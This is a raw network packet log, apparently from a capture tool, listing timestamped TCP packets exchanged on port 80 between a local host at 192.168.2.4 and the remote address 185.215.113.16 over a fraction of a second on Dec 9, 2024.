Dec 9, 2024 20:27:47.333873034 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.334829092 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.334877014 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.334945917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.334985971 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.335889101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.335932970 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.335949898 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.335984945 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.337017059 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.337061882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.337152958 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.337193966 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.338068008 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.338113070 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.338213921 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.338258982 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.339195013 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.339241028 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.339268923 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.339309931 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.340234995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.340280056 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.340599060 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.340648890 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.341332912 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.341376066 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.341386080 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.341424942 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.342408895 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.342456102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.342495918 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.342538118 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.343509912 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.343559027 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.343596935 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.343636990 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.344580889 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.344628096 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.344688892 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.344731092 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.345617056 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.345664024 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.345844984 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.345887899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.346846104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.346890926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.346915960 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.346956968 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.347836018 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.347882032 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.347922087 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.347961903 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.348921061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.348958969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.348969936 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.348997116 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.349967957 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.350013018 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.350087881 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.350138903 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.351092100 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.351145983 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.351181030 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.351222992 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.352178097 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.352221012 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.352245092 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.352286100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.353244066 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.353285074 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.353404999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.353451967 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.354320049 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.354363918 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.354470968 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.354518890 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.355401039 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.355448961 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.355515003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.355556965 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.356476068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.356522083 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.356558084 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.356683016 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.357599020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.357640982 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.357656002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.357697964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.358649015 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.358701944 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.358825922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.358869076 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.359745026 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.359756947 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.359800100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.360785961 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.360832930 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.360914946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.360949993 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.361887932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.361937046 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.361958981 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.362004995 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.362997055 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.363039970 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.363082886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.363121033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.364084005 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.364142895 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.364181995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.364226103 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.365252018 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.365272999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.365302086 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.365314960 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.366332054 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.366379023 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.366463900 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.366508961 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.367413998 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.367464066 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.367501020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.367541075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.368401051 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.368458033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.368495941 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.368541002 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.369469881 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.369524002 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.369560003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.369628906 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.370553970 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.370599031 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.370635986 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.370671988 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.371653080 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.371704102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.371784925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.371829033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.372838974 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.372889042 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.508075953 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.508189917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.508188009 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.508234978 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.508567095 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.508614063 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.508690119 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.508730888 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.509659052 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.509772062 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.509821892 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.509845972 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.510763884 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.510817051 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.510827065 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.510902882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.511830091 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.511917114 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.511924982 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.511966944 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.512983084 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.513111115 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.513134956 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.513154984 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.514013052 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.514034033 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.514122009 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.515064001 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.515146971 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.515161991 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.515239000 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.516164064 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.516233921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.516298056 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.516357899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.517292023 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.517359018 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.517380953 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.517435074 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.518295050 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.518342972 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.518374920 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.518425941 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.519442081 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.519495964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.519520998 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.519562006 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.520512104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.520576000 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.520646095 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.520697117 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.521593094 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.521680117 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.521701097 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.521773100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.522691011 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.522769928 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.522770882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.522830963 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.523808956 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.523870945 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.523937941 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.524010897 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.524879932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.524941921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.524966955 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.525034904 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.525903940 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.525955915 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.525990963 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.526037931 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.526989937 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.527043104 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.527070045 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.527149916 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.528107882 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.528175116 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.528215885 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.528259993 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.529272079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.529333115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.529386044 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.529434919 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.530267000 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.530312061 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.530395985 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.530441999 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.531358004 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.531491995 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.531585932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.531636953 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.532402992 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.532466888 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.532495022 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.532536030 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.533493042 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.533554077 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.533648014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.533699989 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.534600973 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.534661055 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.534696102 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.534759998 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.535779953 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.535845995 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.535996914 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.536051035 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.536745071 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.536807060 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.536972046 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.537019014 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.537812948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.537864923 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.537934065 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.537977934 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.538934946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.538990974 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.539071083 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.539110899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.539977074 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.540030003 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.540064096 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.540101051 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.541058064 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.541104078 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.541111946 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.541176081 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.542238951 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.542290926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.542335033 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.542401075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.543246031 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.543344021 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.543359041 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.543401957 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.544321060 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.544399023 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.544425964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.544466019 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.545372009 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.545443058 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.545480967 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.545536995 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.546511889 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.546565056 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.546614885 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.546665907 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.547550917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.547596931 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.547698021 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.547739029 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.548636913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.548693895 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.548749924 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.548791885 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.549737930 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.549787998 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.549827099 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.549866915 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.550883055 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.550935030 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.550946951 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.550988913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.551906109 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.551981926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.552001953 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.552047014 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.552983046 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.553041935 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.553076029 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.553123951 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.554096937 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.554138899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.554208994 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.554269075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.555208921 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.555273056 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.555341959 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.555402040 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.556304932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.556379080 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.556420088 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.556479931 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.557334900 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.557451010 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.557476044 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.557544947 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.558530092 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.558557987 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.558585882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.558635950 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.559497118 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.559552908 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.559706926 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.559798956 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.560611010 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.560674906 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.560717106 CET	80	49766	185.215.113.16	192.168.2.4
